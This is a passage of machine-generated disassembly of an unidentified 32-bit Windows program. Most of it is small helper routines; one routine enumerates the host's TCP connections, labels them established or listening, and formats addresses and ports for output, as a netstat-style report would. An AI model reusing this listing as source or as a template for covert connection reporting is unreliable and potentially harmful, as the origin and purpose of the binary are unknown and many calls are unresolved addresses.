		pop	esi
		add	esp, 0Ch
		retn
sub_418A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A70	proc near		; CODE XREF: sub_402086j
		push	esi
		mov	esi, ecx
		call	sub_401528
		mov	eax, esi
		pop	esi
		retn
sub_418A70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A90	proc near		; CODE XREF: sub_402211j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418A90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AE0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40221B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418AE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B10	proc near		; CODE XREF: sub_40142Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jz	short loc_418B6A


loc_418B28:				; CODE XREF: sub_418B10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jnz	short loc_418B28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418B6A:				; CODE XREF: sub_418B10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418B10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BA0	proc near		; CODE XREF: sub_4020E5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D57
		retn	4
sub_418BA0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BC0	proc near		; CODE XREF: sub_401550j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jz	short loc_418C1A


loc_418BD8:				; CODE XREF: sub_418BC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40214E
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418BD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C1A:				; CODE XREF: sub_418BC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418BC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C53
sub_418C50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418C65
		mov	edi, esi


loc_418C65:				; CODE XREF: ___:00418C61j
		push	esi
		call	sub_4015D2
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418C7A
		mov	edi, esi


loc_418C7A:				; CODE XREF: ___:00418C76j
		push	esi
		call	sub_401B1D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CA0	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013F2
		retn	4
sub_418CA0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_4015D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418CE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D00	proc near		; CODE XREF: sub_401528j
		mov	eax, ecx
		retn
sub_418D00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D20	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020E0
		mov	eax, esi
		pop	esi
		retn	4
sub_418D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D50	proc near		; CODE XREF: sub_40221Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C8A
		mov	esi, eax
		push	esi
		call	sub_401A82
		push	esi
		mov	ebx, eax
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C58
		push	esi
		mov	ebx, eax
		call	sub_401A82
		mov	eax, [eax]
		push	eax
		call	sub_401C58
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401762
		push	esi
		mov	ecx, edi
		call	sub_4020E5
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_418D80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E40	proc near		; CODE XREF: sub_401D57j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn	8
sub_418E40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F0A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418E60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E90	proc near		; CODE XREF: sub_40214Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401ECE
		mov	esi, eax
		push	esi
		call	sub_4015D2
		push	esi
		mov	ebx, eax
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B1D
		push	esi
		mov	ebx, eax
		call	sub_4015D2
		mov	eax, [eax]
		push	eax
		call	sub_401B1D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018C5
		push	esi
		mov	ecx, edi
		call	sub_40205E
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_418E90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_401B1Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_418F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F70	proc near		; CODE XREF: sub_401C53j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_418F70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FA0	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn	8
sub_418FA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FC0	proc near		; CODE XREF: sub_4020E0j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_418FC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FE0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419010	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_419010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419030	proc near		; CODE XREF: sub_4018C5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_419030	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401ECEj
		mov	eax, [ecx]
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190B0	proc near		; CODE XREF: sub_402103j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4190B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43E074
		call	sub_4367FA
sub_4190B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41911D
		mov	ecx, eax
		call	sub_401F0F
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41911D:				; CODE XREF: ___:004190FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419170	proc near		; CODE XREF: sub_401F0Fj
		push	0FFFFFFFFh
		push	offset SEH_419170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_4367FA
sub_419170	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4191BE
		mov	ecx, eax
		call	sub_4015B9
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4191BE:				; CODE XREF: ___:004191A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419200	proc near		; CODE XREF: sub_4015B9j
		mov	eax, ecx
		retn
sub_419200	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419220	proc near		; CODE XREF: sub_401965j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_419220	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4192C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4192C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017E4
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419669
		push	ebp
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		call	sub_401681
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401861
		xor	ebp, ebp
		push	offset dword_443D94
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013E3
		test	eax, eax
		jz	short loc_41936F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419389
; ---------------------------------------------------------------------------


loc_41936F:				; CODE XREF: sub_4192C0+A3j
		push	offset dword_443D90
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_419389
		mov	[esp+2B4h+var_2A0], 1


loc_419389:				; CODE XREF: sub_4192C0+ADj
					; sub_4192C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_443D84
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419418
		mov	esi, dword_50FA9C
		add	eax, 2
		push	offset dword_443D84
		push	eax
		call	esi ; dword_50FA9C
		add	esp, 8
		test	eax, eax
		jz	short loc_419418
		mov	ecx, [ebx+32h]
		push	offset off_443D80
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi ; dword_50FA9C
		add	esp, 8
		test	eax, eax
		jnz	loc_41964F


loc_419418:				; CODE XREF: sub_4192C0+123j
					; sub_4192C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_436C60
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419645
		lea	ebp, [esi+14h]


loc_419454:				; CODE XREF: sub_4192C0+37Fj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419468
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41962F


loc_419468:				; CODE XREF: sub_4192C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_50FC20
		push	eax
		call	esi ; dword_50FC20
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi ; dword_50FC20
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401474
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401474
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4194CC
		sub	eax, 3
		jnz	short loc_4194F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4194D5
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_4192C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4194D5:				; CODE XREF: sub_4192C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4194F2:				; CODE XREF: sub_4192C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419518
		xor	ebx, ebx


loc_419518:				; CODE XREF: sub_4192C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		call	near ptr 77C3FA76h
		nop
		mov	edi, ebx
		add	esp, 14h
		and	edi, 0FFFFh
		lea	eax, [esp+2B4h+var_118]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		lea	ecx, [esp+2C0h+var_224]
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 14h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_401424
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4195B1
		cmp	eax, 1
		jz	loc_419616
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4195A4
		cmp	eax, esi
		jnz	short loc_419616


loc_4195A4:				; CODE XREF: sub_4192C0+2DEj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4195D7
; ---------------------------------------------------------------------------


loc_4195B1:				; CODE XREF: sub_4192C0+2CAj
		cmp	eax, 2
		jz	short loc_419616
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4195C5
		cmp	eax, edi
		jnz	short loc_419616


loc_4195C5:				; CODE XREF: sub_4192C0+2FFj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_7	; "%s: %s"


loc_4195D7:				; CODE XREF: sub_4192C0+2EFj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_419616:				; CODE XREF: sub_4192C0+2CFj
					; sub_4192C0+2E2j ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41962F:				; CODE XREF: sub_4192C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419454


loc_419645:				; CODE XREF: sub_4192C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41964F:				; CODE XREF: sub_4192C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_41966B
; ---------------------------------------------------------------------------


loc_419669:				; CODE XREF: sub_4192C0+3Dj
		mov	al, 1


loc_41966B:				; CODE XREF: sub_4192C0+3A7j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4192C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419790	proc near		; CODE XREF: sub_401474j

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419850
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41981E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41981E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		call	near ptr 71ABE479h
		nop
		test	eax, eax
		jz	short loc_419850
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41981E:				; CODE XREF: sub_419790+5Aj
					; sub_419790+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_419850
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419850:				; CODE XREF: sub_419790+52j
					; sub_419790+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419790	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4198A0	proc near		; CODE XREF: sub_401EECj
		call	near ptr 27E083Eh
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4198A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4198C0	proc near		; CODE XREF: sub_4021A3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		call	near ptr 77C371D3h
		nop
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
